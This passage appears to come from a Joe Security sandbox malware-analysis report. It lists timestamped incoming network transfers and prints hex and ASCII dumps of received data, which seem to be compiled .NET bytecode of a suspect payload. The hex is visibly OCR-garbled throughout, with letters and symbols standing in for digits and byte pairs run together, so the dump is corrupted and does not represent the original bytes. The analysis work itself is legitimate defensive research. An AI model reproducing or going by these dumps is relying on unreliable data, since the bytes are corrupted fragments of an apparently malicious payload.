Data Raw: 02 00 01 d8 d0 37 4d 5d 71 28 05 2b 4a 2a 06 00 10 22 6f 00 Oe 46 05 2b 5d 28 05 2b 3e 00 2a 06 00 Oc 29
280200 01 d7 d0 57 7d 3a 7a 28 05 2b 4a 00 00 2a 06 00 10 1e 6f 00 Oe 01 Oe 4c 09 94 d6 28 05 2b 46 00 2a 06 00 Oc
29 28 02 00 01 d6 d0 64 20 65 2e 28 05 2b 4a 00 00 2a 06 00 10 1a 6f 00 Oe 01 Oe 5d Oe 08 43 28 05 2b 46 00 2a 06 00
0Oc 29 28 02 00 01 d5 d0 6a 13 f4 10 28 05 2b 4a 2a 06 00 10 16 6f 00 Oe 53 22 d8 c8 28 05 2b 3e 00 2a 06 00 Oc 29 28
02 00 01 d4 dO 3f 1c e8 d9 28 05 2b 4a 00 00 2a 06 00 10 12 6f 00 Oe 01 Oe 33 38 0 f6 28 05 2b 46 00 2a 06 00 Oc 29 28
02 00 01 d3 d0 56 55 af 53 28 05 2b 4a 00 00 2a 06 00 10 Oe 6f 00 Oe 01 Oe 33 1a e0 13 28 05 2b 46 00 2a 06 00 Oc 29
28 02 00 01 d2 d0 69 1f e2 e2 28 05 2b 4a 00 00 2a 06 00 10 Oa 6f 00 Oe

Data Ascii: 7M]q(+J*"oF+](+>*)(W}:z(+J*oL(+F*)(d e.(+J*0]C(+F*)(j(+J*0S" (+>*)(?(+J*038(+F*)(VUS(+J*03(+F*)(i(+J*0

Data Raw: 1f 00 00 08 00 00 00 00 1f 00 00 00 02 00 00 1c 41 00 00 00 ff ff f7 de 38 dc 00 00 00 00 38 Oa 00 00 77 28 00
11 00 00 00 00 38 00 00 00 11 39 01 11 ff ff f7 fc dd ff ff fc cO 38 a2 0a 00 02 46 6f 0a 00 02 6f 6f 9a Oc 11 06 11 Oc 11 07
11 ff ff fd 4d 38 04 13 0a 00 03 f5 73 17 a2 Oa 00 00 23 28 1b 00 00 51 d0 17 25 a2 Oa 00 00 23 28 06 00 Oc bf 28 01 00
00 16 20 16 25 01 00 00 2f 8d 18 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 16 20 Oa 00 00 5b 7e ff ff fb ce 38 Oe 13 16 ff ff
fa ad 38 ff ff fa 6a 39 0a 00 01 dc 6f 10 11 ff ff fb 50 38 Oe 13 58 17 Oe 11 ff ff fe 08 38 06 00 21 37 28 04 00 Oc 92 7e Oe
11 05 11 ff ff f8 ad 38 00 00 00 09 20 Oa 00 00 19 6f Oa 00 03 3a 7e 05 11 ff ff fa aa 38 ff ff fe 15 38 ff ff fa 77 38 ff ff fe 30
3a0a 00 02 67 6f 02 ff ff

Data Ascii: A88w/(898F000M8s#(Q%#(( %/#(( [~88j90P8X8!7(~8 0:~88w80:go

Data Raw: 39 06 00 Of 77 28 04 00 07 54 7b 12 11 ff ff f7 85 38 18 13 0a 00 02 46 6f 18 11 00 00 24 70 38 00 00 18 17 38
00 00 Oe 8a 38 Ob 13 06 00 Of 5¢c 28 0d 11 00 00 24 9f 38 Ob 13 06 00 Of 5¢ 28 06 00 20 c3 28 04 00 Oc 75 7e 04 00 07 91
7b 02 ff ff dd e2 38 00 00 00 46 20 00 00 10 Of 38 00 00 14 6b 38 Ob 13 06 00 Of 5¢ 28 06 00 20 c3 28 04 00 Oc 75 7e 04
00 07 91 7b 02 2a 00 00 09 7d 38 07 13 17 00 00 09 16 38 00 00 1e 1c 3e 16 06 00 20 f7 28 04 00 Oc 82 7e 04 00 07 91
7b 02 00 00 08 49 38 0f 13 0a 00 03 d1 73 ff ff €8 50 38 06 00 20 b7 28 04 00 Oc 72 7e 06 00 20 ef 28 04 00 Oc 80 7e Ob
112311 04 00 07 91 7b 02 ff ff de 60 38 00 00 00 1f 20 26 ff ff de 6b 39 06 00 Of 6a 28 00 00 00 17 20 0d 13 06 00 20 c3
2804 00 Oc 75 7e 04 00 07 91 7b 02 7a 06 00 Oe bf 73

Data Ascii: 9w(T{8Fo$p888\($8\( (u~{8F 8k8\( (u~{*}88> (~{I8sP8 (r~ (~#{'8 &k9j( (u~{zs

Data Raw: 42 00 2a 06 00 Of d3 28 04 00 08 39 7e 4d 49 8f 6b 28 05 2b 4a 00 00 2a 06 00 20 9b 28 04 00 Oc 6b 7€ 06 00
20 0b 28 04 00 Oc 47 7e 02 5e 7f 53 ea 28 05 2b 76 00 00 ff ff ff df 38 f ff ff €6 3b 04 00 07 62 7b 02 04 00 07 62 7b 00 11
2a17 2a 17 2a 17 2a 16 2a 17 ff ff ff c4 38 00 00 00 Ob 39 06 00 20 07 28 04 00 Oc 46 7e 03 00 00 00 1d 38 00 00 00 24
3b 04 00 07 63 7b 02 04 00 07 63 7b 00 11 ff ff ff €3 38 00 00 00 35 39 02 00 01 a2 75 03 00 00 00 10 38 00 13 02 00 01
a2 74 03 00 00 00 34 38 68 Oc €0 26 28 05 2b 11 00 01 cd 00 00 00 76 00 03 30 13 00 00 00 2a 16 2a 16 2a 17 2a 16 ff f
f c0 38 ff ff ff 7 3b 04 00 07 63 7b 02 04 00 07 63 7b 00 11 ff ff ff ca 38 00 00 00 20 39 02 00 01 a2 75 03 00 00 00 27 38
00 00 00 2e 3b 04 00 07 62 7b 02 04 00 07 62

Data Ascii: B*(9~MIK(+J* (k~ (G~"S(+V8;b{b{*****89 (F~8%;c{c{859uBt48h&(+V0***8:c{c{8 9u'.;b{b

Data Raw: 2a 06 00 0d a0 73 6a d8 04 00 07 41 7b 04 00 07 42 7c 02 00 01 95 74 03 04 00 07 41 7b 04 00 07 42 7c 06
00 Oe 14 6f 02 2a 06 00 0d a0 73 d8 04 00 07 4c 7b 04 00 07 4d 7c 06 00 Oe 16 6f 02 00 01 95 74 03 04 00 07 4c 7b 04
00 07 4d 7c 06 00 Oe 16 6f 02 00 00 00 69 38 00 00 00 59 39 06 00 20 Of 28 04 00 Oc 48 7e 03 00 00 00 ed 38 00 00 00 0
539 06 00 20 07 28 04 00 Oc 46 7e 03 54 2d 6d 01 28 05 2b 00 00 00 00 00 00 01 35 00 03 30 13 ff ff ff 50 38 01 10 06 O
020 0b 28 04 00 Oc 47 7e 03 ff ff fe ee 38 ff ff ff 1f 40 1e Oa 00 00 1b 28 ff ff ff 87 38 ff ff ff b8 40 1e Oa 00 00 1b 28 00 00
00 10 38 ff ff ff 6¢ 39 06 00 20 13 28 04 00 Oc 49 7e 03 2a 06 00 0d a0 73 6a 5a 04 00 07 41 7h 04 00 07 42 7c 02 00 01
95 74 03 04 00 07 41 7b 04 00 07 42 7¢ 06 00 Oe 14 6f

Data Ascii: *SJA{B|tA{B|o*sL{M|otL{M|0i8Y9 (H~89 (F~T-m(+50P8 (G~8@(8@(8I9 (I~*sjZA{BItA{B|o

Data Raw: 93 00 04 30 13 00 ff ff ff a6 38 01 10 06 00 20 Ob 28 04 00 Oc 47 7e 03 ff ff ff 8b 38 ff ff ff a2 39 06 00 20 13 28
04 00 Oc 49 7e 03 2a 04 fe 04 00 07 41 7b 04 00 07 42 7¢ 02 00 01 95 74 03 04 00 07 41 7b 04 00 07 42 7c 02 00 00 00
00 38 00 00 00 23 39 06 00 20 Of 28 04 00 Oc 48 7e 03 00 00 00 48 38 00 00 00 05 39 06 00 20 07 28 04 00 Oc 46 7e 03
72 06 00 Oe bf 73 2a 06 00 20 83 28 04 00 Oc 65 7e 02 02 00 01 98 74 03 00 00 00 18 38 58 5e f5 a2 28 05 2b 00 00 00
00 00 00 00 93 00 04 30 13 ff ff ff a3 38 ff ff ff 93 39 06 00 20 07 28 04 00 Oc 46 7e 03 ff ff f 81 38 ff ff ff 90 3a 06 00 20 13
28 04 00 Oc 49 7e 03 2a 01 fe 16 03 fe 04 00 07 40 7b 04 00 07 42 7c 02 00 01 95 74 03 04 00 07 40 7b 04 00 07 42 7c
02 ff ff ff d9 38 01 10 06 00 20 Ob 28 04 00 Oc

Data Ascii: 08 (G~89 (I~*A{B|tA{B|8#9 (H~H89 (F~zs* (e~t8X(+089 (F~8: (I~*@{B|t@{B|8 (

Data Raw: 07 25 7e 04 00 07 25 80 02 00 01 8b 74 0a 00 00 ac 28 0a 00 00 23 28 06 00 Oc bf 28 02 00 01 8b 20 06 00 Oc
3428 0a 00 00 c6 28 70 00 07 05 72 0a 00 00 bb 28 70 00 06 f3 72 06 00 Oc 3b 28 00 00 00 3c 3a 04 00 07 25 7e 00 00
00 00 00 00 00 55 00 06 30 13 2a 06 00 Oc a6 6f 04 03 02 04 00 07 16 7e 04 00 07 16 80 02 00 01 8a 74 Oa 00 00 ac 28
0a 00 00 23 28 06 00 Oc bf 28 02 00 01 8a 20 06 00 Oc 34 28 0a 00 00 c6 28 70 00 06 df 72 0a 00 00 bb 28 70 00 06 d3 7
206 00 Oc 3b 28 00 00 00 3c 3a 04 00 07 16 7e 00 00 00 00 00 00 00 54 00 05 30 13 01 00 00 16 06 00 ed 57 00 96 00
00 01 00 00 16 06 00 8f 5d 00 32 00 00 01 00 00 16 06 00 2b 2b 00 00 00 00 00 00 28 01 00 2a 06 2a 70 00 00 01 72 00
00 00 00 dd 26 00 00 00 06 dd 00 00 00 11 dd Oa Oa 00 00 cO 6f Oa 00 02

Data Ascii: %~%t(#(( 4((pr(pr;(<:%~U0*o~t(#(( 4((pr(pr;(<:~TOW]2++(**pr&o
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Timestamp transferred Direction
2022-05-02 11:03:15 UTC 3346 IN
2022-05-02 11:03:15 UTC 3362 IN
2022-05-02 11:03:15 UTC 3378 IN
2022-05-02 11:03:15 UTC 3394 IN
2022-05-02 11:03:15 UTC 3410 IN
2022-05-02 11:03:15 UTC 3426 IN
2022-05-02 11:03:15 UTC 3442 IN
2022-05-02 11:03:16 UTC 3458 IN
2022-05-02 11:03:16 UTC 3474 IN
2022-05-02 11:03:16 UTC 3490 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 45 00 05 Oc fe 00 00 03 5d 38 6d 3a 2e c6 28 05 2b 11 00 01 b1 00 00 03 bc 00 06 30 1b 00 ff ff ff 76 38 ff ff ff
7c 3a0a 00 01 f0 6f 00 11 06 00 16 77 28 04 00 09 e2 7e Oa 00 00 23 28 06 00 Oc bf 28 01 00 00 46 20 03 ff ff ff de 38 04
00 06 f7 7d 03 02 ff ff ff 1c 38 04 00 06 f8 7d 06 00 1f c3 28 04 00 Oc 35 7e 03 02 ff ff ff 6a 38 00 00 00 27 3a 06 00 16 6f
28 04 00 09 e0 7e 00 11 ff ff ff 3a 38 00 00 00 00 20 26 ff ff ff 45 39 04 00 08 24 7b 04 00 08 2c 7e 00 00 00 00 20 04 00
06 f6 7d 04 02 2a ff ff ff 70 38 ff ff ff a1l 3a 03 00 00 00 32 38 00 13 06 00 18 4b 28 04 00 0a 57 7e 04 7a 0a 00 01 8¢ 73 0
600 13 87 28 04 00 09 26 7e 61 04 00 07 €8 7b 04 00 08 2c 7e 61 44 c4 1a ed 20 65 4b 6e c1 20 00 00 00 a2 38 00 00
00 49 39 06 00 1f bf 28 04 00 Oc 34 7e

Data Ascii: E]8m:.(+0v8|:ow(~#((F 8}8}(5~j8":0(~:8 &E9%{,~ }*p8:28K(W~zs(&~a{,~aD eKn 819(4~

Data Raw: 00 00 2e 38 0a 00 03 50 7e 00 00 00 28 38 51 0a 0d 64 28 05 2b 11 00 01 ab 00 00 00 4b 00 04 30 13 00 ff ff
ff c1 38 00 13 Oa 00 03 4f 7e 2a ff ff ff €6 38 00 00 00 06 3a 04 00 00 00 Oc 38 00 00 00 16 38 0a 00 03 4e 7e 00 00 00 1a
38 0a 00 02 e2 6f 04 00 06 €3 7b 03 00 11 04 00 06 ee 7b 02 00 00 00 27 38 4f 13 06 19 28 05 2b 11 00 01 ab 00 00 00
4b 00 04 30 13 00 00 2a 00 00 00 00 38 06 00 1e €3 28 04 00 0Ob fd 7e 0a 00 02 db 7e 02 56 59 92 €6 28 05 2b 76 00 00
ff ff ff cc 38 00 13 0a 00 03 4d 7e 00 00 00 00 38 00 00 00 Oa 38 0a 00 03 4c 7e 2a 00 00 00 00 38 Oa 00 02 e2 6f 04 00
06 3 7b 03 00 11 04 00 06 ee 7b 02 00 00 00 19 38 00 00 00 2d 3a 04 65 7a d5 16 28 05 2b 11 00 01 ab 00 00 00 46 00
04 30 13 00 ff ff ff c1 38 00 13 0a 00 03 4b 7e 2a 00 00 00 01

Data Ascii: .8P~(8Qd(+K080~*8:88N~80{{'80(+K0*8(~~V/Y (+v8M~88L~*80{{8-:ez(+FO8K~*

Data Raw: c2 7e 04 00 06 d5 7b 02 00 00 01 e2 38 00 00 05 4c 39 0a 00 02 Oc 28 14 04 00 06 d3 7b 02 00 00 05 5d 38
00 00 05 2e 38 00 00 01 32 38 02 13 06 00 08 d3 73 02 11 06 00 1e af 28 04 00 Ob fO 7e 02 0d 11 17 7a Oa 00 02 51 73
06 00 13 87 28 04 00 09 26 7e 61 04 00 08 04 7b 04 00 08 2c 7e 61 66 b0 f3 2a 20 2c ad 50 5f 20 00 00 04 7b 38 00 00 O
2 b6 38 0000 01 c53802 1306 00 09 41 73 02 11 04 00 06 d7 7b 02 00 00 04 4b 38 00 00 03 71 00 00 00 e6 00 00 03
d7 00 00 00 19 00 00 00 85 00 00 04 50 00 00 00 06 45 00 06 Oc fe 00 00 03 d7 38 06 00 1a a3 28 04 00 Oa ed 7e 00 12
04 00 06 d7 7b 02 00 2a 11 11 00 00 07 9f 38 5e 27 d2 al 28 05 2b 11 00 01 97 00 00 07 b3 00 Oc 30 1b ff ff ff da 38 ff ff
ff a9 3a 0a 00 01 a0 28 14 02 ff ff ff b5 38 ff ff ff bc 39 06 00 16

Data Ascii: ~{8L9({]8.828s(~zQs(&~af,~af* ,P_ {888As{K8qPE8(~{*8"'(+08:(89

Data Raw: 28 04 00 09 a9 7e 6a 15 04 Oe 02 03 00 00 00 00 8e 38 48 25 69 8d 28 05 2b 11 00 01 80 00 00 00 af 00 07
30 1b 2a 06 00 1e Of 28 04 00 Ob c8 7e 14 05 04 03 02 2e 57 6b 47 28 05 2b 5e 00 00 00 00 19 00 cO a8 00 18 00 02 00
00 10 01 00 2a ff ff ff 9d 38 03 10 06 00 1d 27 28 04 00 Ob 8e 7e 0a 00 00 25 6f 04 02 7a 0a 00 01 8¢ 73 06 00 13 87 28
04 00 09 26 7e 61 04 00 08 02 7b 04 00 08 2c 7e 61 ad 10 b6 af 20 c5 e0 e0 c0 20 ff ff fe f4 38 ff ff ff €0 39 0a 00 01 a0 28
14 05 ff ff ff d7 38 00 13 06 00 1d d7 28 04 00 Ob ba 7e 03 Of 02 ff ff ff 24 38 01 13 06 00 14 7b 28 04 00 09 63 7e 06 Oe
02 03 00 00 00 78 38 dc 00 00 00 00 38 Oa 00 00 4c 6f 01 11 00 00 00 00 38 00 00 00 11 39 01 11 00 00 00 96 dd ff ff ff
de 38 ff ff ff af 38 ff ff ff d4 38 06 00 1e Ob 28 04

Data Ascii: (~j8H%i(+0*(~.WKG(+"*8'(~%0zs(&~af{,~a 89(8(~$8{(c~x88L089888(

Data Raw: 04 11 0a 00 02 da 7e 50 05 Oe ff ff fd 10 38 06 00 18 07 28 04 00 Oa 46 7e 01 11 00 11 f ff fc 58 38 ff ff fe 2a
38 00 00 00 a7 38 03 13 16 ff ff ff dc 38 06 00 18 07 28 04 00 Oa 46 7e 01 11 00 11 00 00 00 13 38 06 00 1d 77 28 04 00

0b a2 7e 00 11 ff ff ff 88 38 02 13 16 ff ff fe 5b 38 06 00 1d 77 28 04 00 Ob a2 7e 00 11 00 00 00 7c 38 Oa 00 02 d8 6f 14

04 00 06 93 7b 07 11 0a 00 02 da 7e 50 05 Oe 00 00 01 34 38 05 13 16 ff ff fe 23 38 51 06 00 1d 63 28 04 00 Ob 9d 7e 06
00 13 87 28 04 00 09 26 7e 61 04 00 08 24 7b 04 00 08 2c 7e 61 8d ac cf 74 20 88 d8 96 el 20 04 05 Oe ff ff fd 5f 38 f ff

fc cf 38 ff ff fe ee 38 04 13 9a 03 11 05 ff f ff b1 38 05 13 58 17 05 11 ff ff ff cc 38 0a 00 00 19 6f 0a 00 00 31 7e 50 05 Oe
ff ff fd ab 38 00 00 00 22 3f 69 8e

Data Ascii: ~P8(F~X8*888(F~8w(~8[8W(~|80{~P48#8Qc(~(&~a${,~at _8888X801~P8"?i

Data Raw: fd 7e 10 11 Ob 11 ff ff fc 70 38 08 13 58 17 08 11 ff ff f5 a5 38 ff ff fd 05 3a 04 Oe ff ff {4 ac 38 1e 13 06 00 1c 47
2804 00 0b 56 7e 05 16 16 06 00 1c 57 28 04 00 Ob 5a 7e 19 11 1c 11 04 00 06 5b 7b 02 00 00 00 28 38 ff ff {7 06 39 06
00 1c 7b 28 04 00 Ob 63 7e 06 00 1c 63 28 04 00 Ob 5d 7e 19 11 ff ff f3 fb 38 ff ff {7 be 3c 16 2b 00 00 32 28 23 11 22 11 ff
ff 8 e5 38 15 13 58 17 15 11 ff ff f9 bb 38 17 13 00 11 ff ff f5 14 38 Oe 13 00 11 ff ff fa 1b 38 ff ff f7 02 39 0a 00 00 9b 28
06 00 13 87 28 04 00 09 26 7e 61 04 00 08 2f 7b 04 00 08 2c 7e 61 11 b6 97 80 20 66 ee e7 d7 df 20 1a 11 ff ff fa 63 38 ff
ff 7 34 3a 06 00 1c 5f 28 04 00 Ob 5c 7e 19 11 ff ff ec eb 38 ff ff fd 5d 3a 0d 11 ff ff ee 14 38 06 00 16 df 28 04 00 09 fc 7e
16 00 11 04 00 06

Data Ascii: ~p8X8:8G(V~W/(Z~[{(89{(c~c(]~8<+2(#"8X8889((&~a/{,~a f c84:_(\~8]:8(~

Data Raw: 00 00 Oa 5a 00 00 05 4 00 00 02 26 00 00 06 9b 00 00 05 b3 00 00 00 05 00 00 06 30 00 00 03 26 00 00 05 fc
00 00 01 49 00 00 00 Ob 45 00 12 Oc fe 00 00 07 7 38 5b 4e 99 3d 28 05 2b 11 00 01 4a 00 00 Oc 5d 00 06 30 13 00 2a
01 fe 03 5f 03 02 68 77 67 91 28 05 2b 3a 00 00 00 ff ff ff 2a 38 01 13 0a 00 02 87 6f 02 ff ff ff el 38 ff ff ff 95 38 00 00 00
0a 38 ff ff ff 9f 39 0a 00 02 6d 28 14 9a 04 Oe 50 05 ff ff ff d1 38 ff ff ff 36 39 0a 00 00 9b 28 04 Oa 00 02 Ob 6f 06 00 19 ff
28 04 00 0a c4 7e 9a 02 11 03 f ff ff €7 38 00 00 00 28 3a 50 05 00 00 00 44 38 51 01 00 00 2 8d 1e 05 00 00 00 19 38
ff f ff 5b 38 f ff ff 77 38 a2 02 04 Oe 50 05 7a 06 00 05 ce 73 0a 00 01 70 28 0a 00 02 Ob 6f 01 11 06 00 13 87 28 04 00
09 26 7e 61 04 00 07 €6 7b 04 00 08 2¢

Data Ascii: Z&O&IES[N=(+J]0*_hwg(+:*808889m(P869(o(~8(:PD8Q.8[8WBPzsp(0(&~af,

Data Raw: 00 Oc bf 28 01 00 00 cf 20 00 00 00 19 38 06 00 Of d3 28 04 00 08 39 7e 2a 00 00 00 01 38 66 57 60 f2 28 05
2b 00 00 00 00 00 00 00 44 00 02 30 03 00 00 ff ff ff 40 38 06 00 16 7f 28 04 00 09 e4 7e 16 03 ff ff ff 27 38 06 00 16 7 28
04 00 0a 02 7e 0a 00 02 4d 28 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 €6 7b 04 00 08 2¢ 7e 61 6d €2 1c 55 20 65 88
a8 f3 eb 20 06 00 09 4d 28 06 00 Oc bf 28 01 00 00 07 20 03 ff ff ff 48 38 06 00 18 cf 28 04 00 Oa 78 7e a2 06 00 16 77 28
04 00 09 €2 7e 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 fa 20 03 17 25 a2 06 00 16 77 28 04 00 09 e2 7e 0a 00 00 23 28
06 00 Oc bf 28 01 00 00 07 20 03 16 25 01 00 00 2f 8d 18 06 00 16 77 28 04 00 09 e2 7e 0a 00 00 23 28 06 00 09 4e 28
01 00 00 cf 20 03 03 ff ff f 74 38 06 00 17 53 28 04 00

Data Ascii: ( 8(9~*8fW'(+DO@8(~'8(~M((&~af,~amU e M(( H8(x~w(~#(( Yow(~#(( Yo/w(~#(N( t8S(

Data Raw: 7e 0a 00 01 9d 7e 03 00 00 07 ec 38 04 13 06 00 19 7b 28 04 00 Oa a3 7e 03 11 02 00 00 07 09 38 00 00 02
02 39 01 00 00 d2 75 9a 08 11 04 00 06 26 7b 02 00 00 07 df 38 00 00 07 cf 00 00 00 c2 00 00 08 86 00 00 07 ae 00 00
07 ae 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 07 7e 00 00 08 54 00 00 07 7e 00 00 00 0d 45
59 19 06 11 00 00 00 83 38 00 00 09 09 00 00 02 5¢ 00 00 08 11 00 00 00 05 00 00 01 80 00 00 00 88 00 00 00 06 45 00
15 Oc fe 00 00 08 6a 38 03 13 16 00 00 00 00 00 38 01 13 02 00 01 7d 8d 69 8e 04 00 06 26 7b 02 00 00 00 0a Oe 38 6d
7¢ 42 25 28 05 2b 11 00 01 28 00 00 0a 39 00 06 30 1b 00 00 7a Oa 00 00 15 73 55 5e €8 Of 28 05 2b 36 00 00 00 00 00
00 00 19 00 00 01 4d 00 00 01 26 00 00 00 27 00 00 00 02 00 00 1c 41 00 ff

Data Ascii: ~~8{(~89U&{8~~~~~~ T~EY8\Ej88}i&{8m|BY%(+(90zsUN(+6ME&A

Data Raw: a7 38 04 00 06 00 7d Oa 00 02 4e 6f a2 00 11 16 25 01 00 00 2f 8d 17 06 00 16 13 28 04 00 09 c9 7e 0a 00 00
2328 06 00 Oc bf 28 01 00 00 ca 20 03 02 00 00 00 00 38 ff ff ff e2 39 06 00 16 6f 28 04 00 09 e0 7e 00 11 00 00 00 4b
3804 00 06 00 7d 00 11 02 2a 00 00 00 5a 38 00 00 00 85 3a 06 00 17 4b 28 04 00 Oa 17 7e 04 00 00 00 00 38 06 00 08
6a 28 04 02 00 00 00 00 38 06 00 Of d7 28 04 00 08 3a 7e 53 3f 7c 88 28 05 2b 11 00 00 f6 00 00 00 c9 00 07 30 13 00 2a
06 00 Oc bf 28 00 00 09 fe 00 49 17 5e de 28 05 2b 4a 00 00 2a 04 00 05 ff 7e 2f 45 6d 2d 28 05 2b 36 00 00 00 2a 01 fe
14 04 00 05 ff 7e 5b 60 a8 3b 28 05 2b 42 00 2a 06 00 Of d3 28 04 00 08 39 7e 63 08 31 ab 28 05 2b 4a 00 00 ff ff ff 79 38
06 00 16 87 28 04 00 09 e6 7e Oa 00 00 3a 6f 06 00 13 87

Data Ascii: 8}No%/(~#(( 890(~K8}*Z8:K(~8j(8(:~S?|(+0*(I(+J*~/Em-(+6*~[";(+B*(9~c1(+Jy8(~:0

Page 75 of 85



kBytes

Timestamp transferred Direction
2022-05-02 11:03:16 UTC 3506 IN
2022-05-02 11:03:16 UTC 3522 IN
2022-05-02 11:03:16 UTC 3538 IN
2022-05-02 11:03:16 UTC 3554 IN
2022-05-02 11:03:16 UTC 3570 IN
2022-05-02 11:03:16 UTC 3586 IN
2022-05-02 11:03:16 UTC 3602 IN
2022-05-02 11:03:16 UTC 3618 IN
2022-05-02 11:03:16 UTC 3634 IN
2022-05-02 11:03:16 UTC 3650 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 11 d3 20 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 c9 7b 04 00 08 2¢ 7e 61 84 48 d8 e4 20 bc ¢3 07 cd 20
00 00 01 81 38 00 00 01 49 39 02 11 00 00 01 50 38 04 00 05 7 7d d2 60 18 04 00 05 e7 7b 02 02 00 00 01 d3 38 04 00
05 e7 7d d2 60 17 04 00 05 e7 7b 02 02 00 00 00 b4 38 00 00 02 2a 39 06 00 18 7b 28 04 00 0a 63 7e 02 ff ff ff cc 38 00
00 00 f3 39 08 Oe 00 00 01 4a 38 04 00 05 7 7d d2 60 1a 04 00 05 e7 7b 02 02 00 00 01 Oe 38 04 00 05 e7 7d d2 60 le
04 00 05 e7 7b 02 02 ff ff ff c5 38 04 00 05 eb 7d 05 Oe 02 00 00 01 e4 38 00 00 01 bd 3b 15 07 Oe ff ff ff 83 38 04 00 05
e7 7d d2 60 10 1f 04 00 05 e7 7b 02 02 00 00 00 43 38 00 00 01 a6 39 06 Oe ff ff ff 8e 38 00 00 00 00 20 26 ff ff ff 99 39
04 00 08 0f 7b 04 00 08 2c 7e 00 00 00 01 20 00 00 00 d7 3a

Data Ascii: (&~af,~aH 8I9P8}{8}{8*9{(c~89J8} {8}'{8}8;8} {C898 &9{,~ :

Data Raw: 02 4e 7f ca a8 28 05 2b 62 00 2a 06 00 Oc bf 28 00 00 09 fe 00 34 3f 76 69 28 05 2b 4a 00 00 2a 04 00 05 c9
7e 2e 57 87 1f 28 05 2b 36 00 00 00 2a 01 fe 14 04 00 05 c9 7e 5b 13 04 33 28 05 2b 42 ff ff ff c8 38 06 00 Of d3 28 04 00
08 39 7e 2a 00 00 00 00 38 04 00 05 c8 80 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 c1 20 00 00 00 00 38 06 00 Of d7 28
04 00 08 3a 7e 00 00 00 29 38 68 7f f1 ef 28 05 2b 00 00 00 00 00 00 00 44 00 02 30 03 00 2a 00 00 00 00 38 06 00 17 7f
2804 00 0a 24 7e 06 00 17 8b 28 04 00 Oa 27 7e 02 06 00 13 87 28 04 00 09 26 7e 61 04 00 08 1f 7b 04 00 08 2¢c 7e 61
57 f5 7b df 20 59 68 ca 99 a4 20 de 95 d3 d1 20 06 00 16 77 28 04 00 09 e2 7e 0a 00 00 23 28 06 00 Oc bf 28 02 00 00 ed
20 03 03 3b 60 65 34 28 05 2b 00 00 00 00 00 00 00 63 00 06

Data Ascii: N(+b*(42vi(+J*~ W(+6*~[3(+B8(9~*8#(( 8(:~)8h(+D0*8($~('~(&~af,~aW{ Yh w(~#(( ; ed(+c

Data Raw: 2b 11 00 00 e0 00 00 01 80 00 04 30 13 00 00 2a 00 00 00 00 38 04 00 05 90 7d 16 03 7a 0a 00 01 2b 73 Oa
00 01 70 28 0a 00 02 Oa 28 00 Of 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 €6 7b 04 00 08 2c 7e 61 5f a3 e6 74 20 45
16 fa 74 20 0Oa 00 02 Oa 28 04 00 05 90 7c 03 06 00 13 87 28 04 00 09 26 7e 61 04 00 08 09 7b 04 00 08 2c 7e 61 f9 9f ba
33 20 ee 42 84 60 20 00 00 00 00 38 00 00 00 62 3b 04 00 05 90 7b 03 02 64 49 8d 54 28 05 2b 00 00 00 00 00 00 00 82
00 05 30 03 00 00 ff ff ff c3 38 ff ff ff ee 3d 16 02 ff ff ff 96 38 ff ff ff c7 3a 03 7a 0a 00 01 d3 73 06 00 13 87 28 04 00 09 26
7e 61 04 00 08 19 7b 04 00 08 2c 7e 61 e4 01 09 a6 20 93 fc 3c 03 20 2a 00 00 00 00 38 04 00 05 90 7d 02 03 7a Oa 00
01 8c 73 06 00 13 87 28 04 00 09 26 7e 61 04 00 07 fd 7b

Data Ascii: +0*8}z+sp(((&~af,~a_t Et (|(&~a{,~a3 B" 8b;{dIT(+08=8:zs(&~a{,~a < *8}zs(&~a{

Data Raw: 00 2d 38 00 00 00 43 3a 0a 00 02 Of 28 02 11 ff f ff e6 38 00 13 04 00 05 77 7b 02 ff ff ff e6 38 ff ff ff d9 3b 17
00 11 00 00 00 46 38 00 00 00 71 40 1b 00 11 00 00 00 38 38 02 13 06 00 15 47 28 04 00 09 96 7e 02 2a 4e e0 01 12 00
00 00 31 38 60 6f €7 36 28 05 2b 11 00 00 dO 00 00 00 a8 00 04 30 13 ff ff fe 5¢ 38 02 13 04 00 05 77 7b 02 ff ff fe 55 38
06 00 14 d7 28 04 00 09 7a 7e 17 le 02 ff ff fe 5d 38 ff ff fe 98 3b 1b 02 11 7a 06 00 14 ef 28 04 00 09 80 7e 02 2a 60 62
38 1f 6e 91 01 11 04 00 05 72 7d 58 17 01 11 01 13 04 00 05 72 7b 02 02 04 00 05 6e 7b 02 60 62 30 1f 6e 91 01 11 04

0005 72 7d 58 17 01 11 01 13 04 00 05 72 7b 02 02 04 00 05 6e 7b 02 60 62 28 1f 6e 91 01 11 04 00 05 72 7d 58 17 01
11 01 13 04 00 05 72 7b 02 02 04 00 05 6e 7b 02 60

Data Ascii: -8C:(8w{8;F8q@88G(~*N18"06(+0\8w{U8(z~]8;z(~* b8nr}Xr{n{ bOnr}Xr{n{"b(nr}Xr{n{"

Data Raw: 86 38 58 2f 33 82 28 05 2b 11 00 00 b6 00 00 00 d3 00 03 30 13 00 2a 0a 00 01 df 6f 02 49 1a 43 6f 28 05 2b
3a 00 2a 0a 00 01 de 6f 02 5e 7f 70 63 28 05 2b 3a 00 2a 0a 00 01 dd 6f 02 6e 07 65 75 28 05 2b 3a 00 2a 0a 00 01 dc 6f
02 34 53 2e 60 28 05 2b 3a 00 2a 0a 00 01 db 28 02 3e 3e 08 d0 28 05 2b 3a 00 00 00 ff ff ff 5f 38 ff f ff 67 39 Oa 00 01
a0 28 0a 00 00 23 28 06 00 Oc bf 28 01 00 00 86 20 02 2a 00 11 ff f ff 77 38 00 00 00 05 00 00 00 08 00 00 00 05 00 00
00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00 00 00 05 00
00 00 05 00 00 00 05 00 00 00 05 00 00 00 08 00 00 00 08 00 00 00 05 00 00 00 13 45 00 11 2a 17 2a 68 1f ff ff ff b2 38 ff
ff ff ba 39 0Oa 00 01 a0 28 0a 00 00 23 28 06 00 Oc bf

